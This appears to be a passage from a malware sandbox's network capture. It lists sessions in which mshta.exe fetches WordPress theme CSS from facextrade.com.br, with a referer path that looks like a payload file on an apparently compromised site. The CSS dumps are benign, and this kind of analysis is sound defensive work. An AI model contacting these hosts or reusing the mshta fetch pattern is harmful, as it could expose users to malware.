6d 67 20 7b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 77 70 2d 6c 6f 67 6f 2d 62 6f 72 64 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 7b 0a 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 32 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 2e 6c 6f 67 6f 2d 63 6f 6d 70 61 6e 79 2d 6e 61 6d 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 69 6e 69 74 69 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f Data Ascii: /** * All of the CSS for your public-facing functionality should be * included in this file. /.lgx-logo-slider-wp .owl-stage { display: flex; align-items: center;}.lgx-logo-slider-wp .lgx-logo-wrapper { padding: 25px 0;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav { text-align: center;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-next,.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-prev { margin: 1px;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav [class=owl-] { background: transparent;}.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-next img,.lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-prev img { width: 30px;}.lgx-logo-slider-wp .wp-logo-border .lgx-logo-item { border-style: solid; border-width: 2px;}.lgx-logo-slider-wp .lgx-logo-item { cursor: pointer; text-align: center;}.lgx-logo-slider-wp .lgx-logo-item .logo-company-name { display: block; text-transform: initial; margin: 0; padding: 10px;}.lgx-logo
Aug 16, 2022 11:44:52.683250904 CEST	1740	IN	Data Raw: 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 20 2e 6c 6f 67 6f 2d 63 6f 6d 70 61 6e 79 2d 6e 61 6d 65 3a 68 6f 76 65 72 20 7b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 37 35 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d Data Ascii: -slider-wp .lgx-logo-item .logo-company-name:hover { opacity: 0.75;}.lgx-logo-slider-wp .nav-position-v-mid { position: relative;}.lgx-logo-slider-wp .nav-position-v-mid .owl-next,.lgx-logo-slider-wp .nav-position-v-mid .owl-prev {
Aug 16, 2022 11:44:52.683279037 CEST	1741	IN	Data Raw: 6f 75 74 20 30 73 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 30 73 3b 0a 20 20 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 30 2e 32 73 20 65 61 73 65 2d Data Ascii: out 0s; -ms-transition: all 0.2s ease-in-out 0s; -o-transition: all 0.2s ease-in-out 0s; transition: all 0.2s ease-in-out 0s;}.lgx-logo-slider-wp .hover-default .lgx-logo-item .lgx-logo-img { -moz-opacity: 1; -khtml-opacity: 1; -
Aug 16, 2022 11:44:52.683303118 CEST	1743	IN	Data Raw: 20 31 3b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 41 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 31 30 30 29 3b 0a 20 20 66 69 6c 74 65 72 3a 20 Data Ascii: 1; -ms-filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100); filter: alpha(opacity=100); filter: url("data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' valu
Aug 16, 2022 11:44:52.683326960 CEST	1743	IN	Data Raw: 61 6c 65 28 31 29 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 68 6f 76 65 72 2d 68 62 6c 75 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 74 65 6d 3a 68 6f 76 65 72 20 2e 6c 67 78 2d 6c 6f 67 6f 2d 69 6d 67 20 7b 0a 20 20 Data Ascii: ale(1);}.lgx-logo-slider-wp .hover-hblur .lgx-logo-item:hover .lgx-logo-img { -webkit-filter: blur(2px); -moz-filter: blur(2px); -o-filter: blur(2px); -ms-filter: blur(2px); filter: blur(2px);}/*# sourceMappingURL=logo-slider-wp-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49786	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:52.908404112 CEST	1744	OUT	GET /wp-content/themes/theme51253/main-style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:53.127728939 CEST	1745	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:35 GMT Server: Apache ETag: "a53765-1130b-5cd2be5c3c8aa" Last-Modified: Thu, 30 Sep 2021 00:55:05 GMT Content-Length: 70411 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 17003358 15075237 Age: 317 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 2e 2e 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 73 74 79 6c 65 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 31 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 33 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 34 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 37 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 39 30 30 29 3b 0a 2e 77 72 61 70 20 7b 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 20 7d 0a 68 31 2c 20 68 32 2c 20 68 33 2c 20 68 34 2c 20 68 35 2c 20 68 36 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 20 7d 0a 68 32 20 7b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 31 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 0a 7d 0a 68 32 20 73 74 72 6f 6e 67 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 68 33 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 61 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 61 3a 68 6f 76 65 72 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 20 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 30 3b 0a 09 70 61 64 64 69 6e 67 3a 32 33 70 78 20 30 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 2e 68 65 61 64 65 72 20 7b 0a 09 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 2e 68 65 61 64 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 27 27 3b 0a 09 70 6f 73 69 74 69 6f 6e Data Ascii: @import url("../CherryFramework/style.css");@import url(//fonts.googleapis.com/css?family=Lato:100);@import url(//fonts.googleapis.com/css?family=Lato:300);@import url(//fonts.googleapis.com/css?family=Lato:400);@import url(//fonts.googleapis.com/css?family=Lato:700);@import url(//fonts.googleapis.com/css?family=Lato:900);.wrap { overflow:hidden; }h1, h2, h3, h4, h5, h6 { margin-top:0; }h2 {font-weight:100 !important;text-shadow:0 0 0 rgba(0,0,0,0);}h2 strong { font-weight:900 !important; }h3 { font-weight:900 !important; }a {-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}a:hover { text-decoration:none; }.header {width:100%;position:absolute;top:0;padding:23px 0 20px;border:none;background:#fff;}@media (max-width: 767px) {.header {width:auto;padding-left:20px;padding-right:20px;position:relative !important;}}.header:after {content:'';position
Aug 16, 2022 11:44:53.127928019 CEST	1747	IN	Data Raw: 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 62 6f 74 74 6f 6d 3a 2d 31 33 70 78 3b 0a 09 6c 65 66 74 3a 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 31 33 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 Data Ascii: :absolute;bottom:-13px;left:0;width:100%;height:13px;background-repeat:repeat-x;background-image:url(images/header-bottom.png);}@media (max-width: 767px) {.header.isStuck { top:0 !important; }}.header.isStuck .logo a img {w
Aug 16, 2022 11:44:53.127989054 CEST	1748	IN	Data Raw: 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e Data Ascii: l 0.5s ease;}.header nav.nav__primary .sf-menu >li {background:none;position:relative;float:left;display:inline-block;margin-right:30px;}.header nav.nav__primary .sf-menu >li >a {text-transform:uppercase;font-weight:700;bor
Aug 16, 2022 11:44:53.128153086 CEST	1750	IN	Data Raw: 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 31 62 65 65 38 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 2e 73 75 62 2d 6d 65 6e 75 20 Data Ascii: olor:#fff;background:#21bee8;}.header nav.nav__primary .sf-menu >li .sub-menu li.menu-item-has-children > a:before {width:8px;height:40px;position:absolute;top:0;right:-8px;display:block;background:url("images/extra1.png") ce
Aug 16, 2022 11:44:53.128182888 CEST	1751	IN	Data Raw: 2d 72 69 67 68 74 3a 36 35 70 78 3b 0a 09 7d 0a 7d 0a 2e 62 74 6e 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 33 33 33 33 33 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 Data Ascii: -right:65px;}}.btn:hover {color:#fff;background:#333333;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.btn:active {color:#fff;background:none;}.btn:
Aug 16, 2022 11:44:53.128309965 CEST	1752	IN	Data Raw: 70 61 64 64 69 6e 67 3a 31 36 70 78 20 35 35 70 78 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 66 33 39 63 31 32 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b Data Ascii: padding:16px 55px;text-shadow:none;border:1px solid #f39c12;box-shadow:none;text-shadow:none !important;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.rev
Aug 16, 2022 11:44:53.128480911 CEST	1754	IN	Data Raw: 3a 6e 6f 6e 65 3b 0a 09 70 61 64 64 69 6e 67 3a 31 36 70 78 20 38 35 70 78 3b 0a 7d 0a 2e 6d 6f 72 65 62 74 6e 36 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 32 31 62 Data Ascii: :none;padding:16px 85px;}.morebtn6:hover {color:#fff;border:1px solid #21bee8;background:#21bee8;}.cherry_media_parallax_1 {opacity:0;filter:alpha(opacity=0);}.cherry_media_parallax_1 .parallax-content { padding:365px 0 250px
Aug 16, 2022 11:44:53.128640890 CEST	1755	IN	Data Raw: 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 Data Ascii: bkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.cherry_media_parallax_1 .parallax_inner:before { display:none !important; }.cherry_fixed_parallax1 { overflow:hidden; }
Aug 16, 2022 11:44:53.128786087 CEST	1757	IN	Data Raw: 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 34 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 68 33 20 7b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 0a 09 63 6f Data Ascii: _fixed_parallax4 .parallax-content h3 {margin-bottom:15px;text-align:left;color:#fff;}.cherry_fixed_parallax4 .parallax-content p { text-align:left; }.cherry_fixed_parallax4 .parallax-content .icon_type1 {margin:0 30px 38px 0;back
Aug 16, 2022 11:44:53.128988981 CEST	1758	IN	Data Raw: 69 6e 2d 62 6f 74 74 6f 6d 3a 35 33 70 78 3b 0a 09 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 2e 63 68 65 72 72 79 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 37 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 2e 6d 6f 72 65 62 Data Ascii: in-bottom:53px;color:inherit;}.cherry_fixed_parallax7 .parallax-content .morebtn6 {margin-top:50px;padding-left:90px;padding-right:90px;}.cherry_fixed_parallax8 .parallax-content {text-align:center;padding:60px 0 70px 0;}.che
Aug 16, 2022 11:44:53.351840019 CEST	1759	IN	Data Raw: 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 39 70 78 3b 20 7d 0a 2e 65 78 74 72 61 5f 77 72 61 70 33 20 75 6c 20 6c 69 20 61 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 0a 09 63 Data Ascii: margin-bottom:9px; }.extra_wrap3 ul li a {font-size:14px;line-height:20px;color:#2ecc71;text-transform:uppercase;}.extra_wrap3 ul li a:hover { color:#fff; }.extra_wrap4 h3 { margin-bottom:30px; }.extra_wrap4 ul {margin:0;list-
Aug 16, 2022 11:44:53.582586050 CEST	1819	OUT	GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:53.804135084 CEST	1821	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:53 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT ETag: "a53043-2458-58592d3483f00" Accept-Ranges: bytes Content-Length: 9304 Connection: close Content-Type: text/css Data Raw: 2f 2a 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 43 53 53 20 2a 2f 0a 2e 6d 66 70 2d 62 67 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 32 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 62 30 62 30 62 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 38 3b 0a 20 20 66 69 6c 74 65 72 3a 20 61 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 38 30 29 3b 20 7d 0a 0a 2e 6d 66 70 2d 77 72 61 70 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 33 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 20 38 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6c 69 67 6e 2d 74 6f 70 20 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 35 3b 20 7d 0a 0a 2e 6d 66 70 2d 69 6e 6c 69 6e 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 2c 0a 2e 6d 66 70 2d 61 6a 61 78 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 63 75 72 73 6f 72 3a 20 61 75 74 6f 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6a 61 78 2d 63 75 72 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 72 6f 67 72 65 73 73 3b 20 7d 0a 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 2c 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 20 Data Ascii: /* Magnific Popup CSS */.mfp-bg { top: 0; left: 0; width: 100%; height: 100%; z-index: 1042; overflow: hidden; position: fixed; background: #0b0b0b; opacity: 0.8; filter: alpha(opacity=80); }.mfp-wrap { top: 0; left: 0; width: 100%; height: 100%; z-index: 1043; position: fixed; outline: none !important; -webkit-backface-visibility: hidden; }.mfp-container { text-align: center; position: absolute; width: 100%; height: 100%; left: 0; top: 0; padding: 0 8px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; }.mfp-container:before { content: ''; display: inline-block; height: 100%; vertical-align: middle; }.mfp-align-top .mfp-container:before { display: none; }.mfp-content { position: relative; display: inline-block; vertical-align: middle; margin: 0 auto; text-align: left; z-index: 1045; }.mfp-inline-holder .mfp-content,.mfp-ajax-holder .mfp-content { width: 100%; cursor: auto; }.mfp-ajax-cur { cursor: progress; }.mfp-zoom-out-cur,.mfp-zoom-out-cur

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49787	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:54.024358988 CEST	1830	OUT	GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:54.247627974 CEST	1832	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:54 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:37:34 GMT ETag: "a5169a-156c1-58592f1eb4380" Accept-Ranges: bytes Content-Length: 87745 Connection: close Content-Type: text/css Data Raw: 2e 6d 6f 74 6f 70 72 65 73 73 2d 74 65 78 74 2d 6f 62 6a 20 73 70 61 6e 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 65 6d 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 6f 62 6a 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 6f 62 6a 2d 62 61 73 69 63 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 20 6f 75 74 73 69 64 65 20 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 7b 6d 61 72 67 69 6e 3a 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 3a 62 65 66 6f 72 65 2c 2e 6d 